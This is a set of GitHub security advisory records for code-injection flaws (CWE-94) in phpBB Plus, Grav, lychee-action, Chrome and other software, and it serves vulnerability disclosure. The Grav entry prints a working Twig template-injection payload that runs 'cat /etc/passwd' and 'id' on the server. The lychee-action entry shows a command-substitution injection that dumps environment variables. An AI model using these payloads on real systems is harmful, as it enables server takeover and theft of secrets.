CWE-94

{
  "affected": [],
  "aliases": [
    "CVE-2007-5009"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-09-20T21:17:00Z",
    "severity": "MODERATE"
  },
  "details": "PHP remote file inclusion vulnerability in language/lang_german/lang_main_album.php in phpBB Plus 1.53, and 1.53a before 20070922, allows remote attackers to execute arbitrary PHP code via a URL in the phpbb_root_path parameter.",
  "id": "GHSA-65hv-4q6g-x7mh",
  "modified": "2022-05-01T18:29:20Z",
  "published": "2022-05-01T18:29:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-5009"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/36697"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/4434"
    },
    {
      "type": "WEB",
      "url": "http://marc.info/?l=bugtraq\u0026m=119022976831594\u0026w=2"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/38265"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/26888"
    },
    {
      "type": "WEB",
      "url": "http://www.phpbb2.de/ftopic45218.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/25737"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2007/3247"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-46661"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-28T13:15:24Z",
    "severity": "CRITICAL"
  },
  "details": "IPW Systems Metazo through 8.1.3 allows unauthenticated Remote Code Execution because smartyValidator.php enables the attacker to provide template expressions, aka Server-Side Template-Injection. All instances have been patched by the Supplier.",
  "id": "GHSA-65hw-c9g5-r8mm",
  "modified": "2025-04-28T15:31:41Z",
  "published": "2025-04-28T15:31:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46661"
    },
    {
      "type": "WEB",
      "url": "https://code-white.com/public-vulnerability-list"
    },
    {
      "type": "WEB",
      "url": "https://www.ipwsystems.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-2354"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-08-15T11:21:00Z",
    "severity": "HIGH"
  },
  "details": "The WP-DBManager WordPress plugin before 2.80.8 does not prevent administrators from running arbitrary commands on the server in multisite installations, where only super-administrators should.",
  "id": "GHSA-65pv-gqpg-397f",
  "modified": "2022-08-17T00:00:22Z",
  "published": "2022-08-16T00:00:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2354"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/1c8c5861-ce87-4813-9e26-470d63c1903a"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "GitHub Actions",
        "name": "lycheeverse/lychee-action"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-48908"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-28T14:40:08Z",
    "nvd_published_at": "2025-08-28T15:15:42Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThere is a potential attack of arbitrary code injection vulnerability in `lychee-setup` of the composite action at *action.yml*.\n\n### Details\n\nThe GitHub Action variable `inputs.lycheeVersion` can be used to execute arbitrary code in the context of the action.\n\n### PoC\n\n```yaml\n- uses: lycheeverse/lychee@v2\n  with:\n    lycheeVersion: $(printenv \u003e\u003e $GITHUB_STEP_SUMMARY \u0026\u0026 echo \"v0.16.1\")\n```\n\nThe previous example will just print all the environment variables to the summary of the workflow, but an attacker could potentially use this vector to compromise the security of the target repository, even passing unnotice because the action will run normally.\n\n### Impact\n\nLow",
  "id": "GHSA-65rg-554r-9j5x",
  "modified": "2025-08-28T15:59:37Z",
  "published": "2025-08-28T14:40:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lycheeverse/lychee-action/security/advisories/GHSA-65rg-554r-9j5x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48908"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lycheeverse/lychee-action/commit/7cd0af4c74a61395d455af97419279d86aafaede"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lycheeverse/lychee-action"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "lychee link checking action affected by arbitrary code injection in composite action"
}

{
  "affected": [],
  "aliases": [
    "CVE-2008-1084"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-04-08T23:05:00Z",
    "severity": "HIGH"
  },
  "details": "Unspecified vulnerability in the kernel in Microsoft Windows 2000 SP4, XP SP2, Server 2003 SP1 and SP2, through Vista SP1, and Server 2008 allows local users to execute arbitrary code via unknown vectors related to improper input validation.  NOTE: it was later reported that one affected function is NtUserFnOUTSTRING in win32k.sys.",
  "id": "GHSA-6628-6x4p-hh34",
  "modified": "2022-05-01T23:36:26Z",
  "published": "2022-05-01T23:36:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-1084"
    },
    {
      "type": "WEB",
      "url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-025"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A5437"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/5518"
    },
    {
      "type": "WEB",
      "url": "http://marc.info/?l=bugtraq\u0026m=120845064910729\u0026w=2"
    },
    {
      "type": "WEB",
      "url": "http://milw0rm.com/sploits/2008-ms08-25-exploit.zip"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/29720"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/28554"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id?1019803"
    },
    {
      "type": "WEB",
      "url": "http://www.us-cert.gov/cas/techalerts/TA08-099A.html"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2008/1149/references"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.8.0-beta.27"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-66294"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-02T01:25:16Z",
    "nvd_published_at": "2025-12-01T21:15:52Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA Server-Side Template Injection (SSTI) vulnerability exists in Grav that allows authenticated attackers with editor permissions to execute arbitrary commands on the server and, under certain conditions, may also be exploited by unauthenticated attackers. This vulnerability stems from weak regex validation in the `cleanDangerousTwig` method.\n\n### Important\n- First of all this vulnerability is due to weak sanitization in the method `clearDangerousTwig`, so any other class that calls it indirectly through for example `$twig-\u003eprocessString` to sanitize code is also vulnerable.\n\n- For this report, we will need the official Form and Admin plugin installed, also I will be chaining this with another vulnerability to allow an editor which is a user with only pages permissions to edit the process section of a form.\n\n- I made another report for the other vulnerability which is a Broken Access Control which allows a user with full permission for pages to change the process section by intercepting the request and modifying it.\n\n### Permissions Needed\n- The main case for this vulnerability is an editor which can unconditionally takeover the whole system through creating a vulnerable form.\n- Second case is as an unauthenticated user, so if the form exists already and accepts user input and puts it through `evaluate_twig`, a guest can takeover the system.\n\n### Details\nWhen we make a form with a process section and a `message` action, when the form is submitted we get to deal with `onFormProcess` in `form.php` through the `message` case:\n\n```php\n            case \u0027message\u0027:\n                $translated_string = $this-\u003egrav[\u0027language\u0027]-\u003etranslate($params);\n                $vars = array(\n                    \u0027form\u0027 =\u003e $form\n                );\n\n                /** @var Twig $twig */\n                $twig = $this-\u003egrav[\u0027twig\u0027];\n                $processed_string = $twig-\u003eprocessString($translated_string, $vars);\n\n                $form-\u003emessage = $processed_string;\n                break;\n```\n\nWhich takes our parameters as in our action values, like in our case the value of our `message` action and sends it to `processString` which then calls the method `cleanDangerousTwig` from `Security.php`, now here\u0027s where we find the vulnerability is caused by two things:\n\n- First of all is weak regex which doesn\u0027t account for nested function calls, which allows us to bypass this function\u0027s sanitization\n- Second issue which is the `evaluate` and `evaluate_twig` functions which are allowed, and since we can call Twig syntax from inside them, it will lead to nested function calls which we can bypass and thus execute arbitrary payloads.\n\n```php\n    public static function cleanDangerousTwig(string $string): string\n    {\n        if ($string === \u0027\u0027) {\n            return $string;\n        }\n\n        $bad_twig = [\n            \u0027twig_array_map\u0027,\n            \u0027twig_array_filter\u0027,\n            \u0027call_user_func\u0027,\n            \u0027registerUndefinedFunctionCallback\u0027,\n            \u0027undefined_functions\u0027,\n            \u0027twig.getFunction\u0027,\n            \u0027core.setEscaper\u0027,\n            \u0027twig.safe_functions\u0027,\n            \u0027read_file\u0027,\n        ];\n         \n        // This allows for a payload like {{ evaluate(\"read_file(\u0027/etc/passwd\u0027)\") }}\n        $string = preg_replace(\u0027/(({{\\s*|{%\\s*)[^}]*?(\u0027 . implode(\u0027|\u0027, $bad_twig) . \u0027)[^}]*?(\\s*}}|\\s*%}))/i\u0027, \u0027{# $1 #}\u0027, $string);\n        return $string;\n    }\n```\n\n### PoC\n\nFirst to showcase how the function handles the payload, I built a small php program that replicates the behavior of `cleanDangerousTwig`:\n\n```php\n\u003c?php\n\nfunction cleanDangerousTwig(string $string): string\n{\n    if ($string === \u0027\u0027) {\n        return $string;\n    }\n\n    $bad_twig = [\n        \u0027twig_array_map\u0027,\n        \u0027twig_array_filter\u0027,\n        \u0027call_user_func\u0027,\n        \u0027registerUndefinedFunctionCallback\u0027,\n        \u0027undefined_functions\u0027,\n        \u0027twig.getFunction\u0027,\n        \u0027core.setEscaper\u0027,\n        \u0027twig.safe_functions\u0027,\n        \u0027read_file\u0027,\n    ];\n    $string = preg_replace(\u0027/(({{\\s*|{%\\s*)[^}]*?(\u0027 . implode(\u0027|\u0027, $bad_twig) . \u0027)[^}]*?(\\s*}}|\\s*%}))/i\u0027, \u0027{# $1 #}\u0027, $string);\n\n    return $string;\n}\n\n$x = $argv[1];\necho cleanDangerousTwig(\"evaluate_twig(\u0027$x\u0027)\");\n```\n\nWe can run the program with this payload:\n\n```bash\nphp ok.php \"{{ grav.twig.twig.registerUndefinedFunctionCallback(\u0027system\u0027) }} {% set a = grav.config.set(\u0027system.twig.undefined_functions\u0027,false) %} {{ grav.twig.twig.getFunction(\u0027cat /etc/passwd\u0027) }}\"\n```\n\nOur payload goes through and not one malicious function is filtered:\n\n```\nevaluate_twig(\u0027{# {{ grav.twig.twig.registerUndefinedFunctionCallback(\u0027system\u0027) }} #} {# {% set a = grav.config.set(\u0027system.twig.undefined_functions\u0027,false) %} #} {# {{ grav.twig.twig.getFunction(\u0027cat /etc/passwd\u0027) }} #}\u0027)\n```\n\nNow we know that our payload definitely works so let\u0027s try it through a custom form this time, as an editor:\n\n- Go to pages\n- Add a page and create a new form or choose an exiting one\n\nWe will be using another vulnerability I found which is a Broken Access Control vulnerability, which allows an editor with basically only pages rights to modify a form\u0027s action sections without being in expert mode ( please refer to [it\u0027s report](https://github.com/getgrav/grav/security/advisories/GHSA-v8x2-fjv7-8hjh) ), so when we go to our form and save it, we can intercept the request and inject the following payload into `data[_json][header][form]` which is the header for our form which we shouldn\u0027t normally be able to modify:\n\n```\n{\"name\":\"ssti-test 2\",\"fields\":{\"name\":{\"type\":\"text\",\"label\":\"Name\",\"required\":true}},\"buttons\":{\"submit\":{\"type\":\"submit\",\"value\":\"Submit\"}},\"process\":[]}\n```\n\nURL-encode it before sending it should look something like this:\n\n![image](https://github.com/user-attachments/assets/c3345f1f-c613-4534-a15c-bd1cf7e4b2f5)\n\n![image](https://github.com/user-attachments/assets/e9685357-b85d-432a-842b-27a28487b7d1)\n\nRequest sent and processed! Now when you go to our form file you can see added a process section with the value of message changed:\n\n![image](https://github.com/user-attachments/assets/c87bdc3b-712c-465f-bd0d-9951ca826a6a)\n\nContent of form:\n\n```\ntitle: Home\nprocess:\n    markdown: true\n    twig: true\nform:\n    name: test\n    fields:\n        name:\n            type: text\n            label: Name\n            required: true\n    buttons:\n        submit:\n            type: submit\n            value: submit\n    process:\n        -\n            message: \u0027{{ evaluate_twig(form.value(\u0027\u0027name\u0027\u0027)) }}\u0027\n```\n\nNow in the process section, notice our message action is gonna take value from the Name input, using the following payload we will execute the command `id` on the system:\n\n```\n{{ grav.twig.twig.registerUndefinedFunctionCallback(\u0027system\u0027) }} {% set a = grav.config.set(\u0027system.twig.undefined_functions\u0027,false) %} {{ grav.twig.twig.getFunction(\u0027id\u0027) }}\n```\n\nNow we can visit the page and input our payload, submit and we got command result:\n\n![image](https://github.com/user-attachments/assets/46571c3c-53ad-4028-b607-8c8f1c26b0c2)\n\n\n### Impact\n\nAllows an attacker to execute arbitrary commands, leading to full system compromise, including unauthorized access, data theft, privilege escalation, and disruption of services.\n\n### Recommended Fix\n\n- Blacklist both the `evaluate` and `evaluate_twig` functions.\n- We could add second check to `cleanDangerousTwig` where we would look for each malicious function no matter it\u0027s position:\n\n```php\n\u003c?php\n\nfunction cleanDangerousTwig(string $string): string\n{\n    if ($string === \u0027\u0027) {\n        return $string;\n    }\n\n    $bad_twig = [\n        \u0027twig_array_map\u0027,\n        \u0027twig_array_filter\u0027,\n        \u0027call_user_func\u0027,\n        \u0027registerUndefinedFunctionCallback\u0027,\n        \u0027undefined_functions\u0027,\n        \u0027twig.getFunction\u0027,\n        \u0027core.setEscaper\u0027,\n        \u0027twig.safe_functions\u0027,\n        \u0027read_file\u0027,\n    ];\n    $string = preg_replace(\u0027/(({{\\s*|{%\\s*)[^}]*?(\u0027 . implode(\u0027|\u0027, $bad_twig) . \u0027)[^}]*?(\\s*}}|\\s*%}))/i\u0027, \u0027{# $1 #}\u0027, $string);\n\n    foreach ($bad_twig as $func) {\n        $string = preg_replace(\u0027/\\b\u0027 . preg_quote($func, \u0027/\u0027) . \u0027(\\s*\\([^)]*\\))?\\b/i\u0027, \u0027{# $1 #}\u0027, $string);\n    }\n\n    return $string;\n}\n\n$x = $argv[1];\necho cleanDangerousTwig(\"evaluate_twig(\u0027$x\u0027)\");\n```\n\nWhen we run this, the result is:\n```\nevaluate_twig(\u0027{# {{ grav.twig.twig.{#  #}(\u0027system\u0027) }} #} {# {% set a = grav.config.set(\u0027system.twig.{#  #}\u0027,false) %} #} {# {{ grav.twig.{#  #}(\u0027cat /etc/passwd\u0027) }} #}\u0027)\n```\nYou can see we managed to stop the payload and filter out the malicious functions.",
  "id": "GHSA-662m-56v4-3r8f",
  "modified": "2025-12-02T01:25:16Z",
  "published": "2025-12-02T01:25:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-662m-56v4-3r8f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66294"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/e37259527d9c1deb6200f8967197a9fa587c6458"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Grav is vulnerable to RCE via SSTI through Twig Sandbox Bypass"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-12208"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-15T03:16:23Z",
    "severity": "MODERATE"
  },
  "details": "A weakness has been identified in jsonata-js jsonata up to 2.2.0. The affected element is the function createFrame of the file src/jsonata.js of the component Function Binding Frame System. This manipulation causes improperly controlled modification of object prototype attributes. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-663r-x48j-fg8p",
  "modified": "2026-06-15T03:30:32Z",
  "published": "2026-06-15T03:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12208"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OriginSecurityX/jsonata-hasownproperty-bypass"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-12208"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/832446"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/370850"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/370850/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2005-3571"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2005-11-16T07:42:00Z",
    "severity": "MODERATE"
  },
  "details": "PHP file inclusion vulnerability in protection.php in CodeGrrl (a) PHPCalendar 1.0, (b) PHPClique 1.0, (c) PHPCurrently 2.0, (d) PHPFanBase 2.1, and (e) PHPQuotes 1.0 allows remote attackers to include arbitrary local files via the siteurl parameter when register_globals is enabled.  NOTE: It was later reported that PHPFanBase 2.2 is also affected.",
  "id": "GHSA-663v-cjm7-6hwq",
  "modified": "2022-05-01T02:19:16Z",
  "published": "2022-05-01T02:19:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2005-3571"
    },
    {
      "type": "WEB",
      "url": "http://marc.info/?l=bugtraq\u0026m=113199214723444\u0026w=2"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/17542"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/176"
    },
    {
      "type": "WEB",
      "url": "http://securitytracker.com/id?1015206"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/15417"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/21664"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2005/2402"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-5834"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-11T21:15:54Z",
    "severity": "HIGH"
  },
  "details": "Inappropriate implementation in Dawn in Google Chrome prior to 126.0.6478.54 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)",
  "id": "GHSA-664v-jfq4-4mfq",
  "modified": "2024-06-20T15:31:11Z",
  "published": "2024-06-11T21:32:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5834"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2024/06/stable-channel-update-for-desktop.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/342840932"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/7VXA32LXMNK3DSK3JBRLTBPFUH7LTODU"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MPU7AB53QQVNTBPGRMJRY5SXJNYWW3FX"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2010-1055"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2010-03-23T17:30:00Z",
    "severity": "MODERATE"
  },
  "details": "Multiple PHP remote file inclusion vulnerabilities in osDate 2.1.9 and 2.5.4, when magic_quotes_gpc is disabled and register_globals is enabled, allow remote attackers to execute arbitrary PHP code via a URL in the config[forum_installed] parameter to (1) forum/adminLogin.php and (2) forum/userLogin.php.  NOTE: some of these details are obtained from third party information.",
  "id": "GHSA-665f-9wxp-f9v8",
  "modified": "2022-05-02T06:18:34Z",
  "published": "2022-05-02T06:18:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2010-1055"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/56909"
    },
    {
      "type": "WEB",
      "url": "http://evilc0de.blogspot.com/2010/03/osdate-rfi-vuln.html"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/63005"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/63006"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/38943"
    },
    {
      "type": "WEB",
      "url": "http://www.exploit-db.com/exploits/11755"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/38738"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}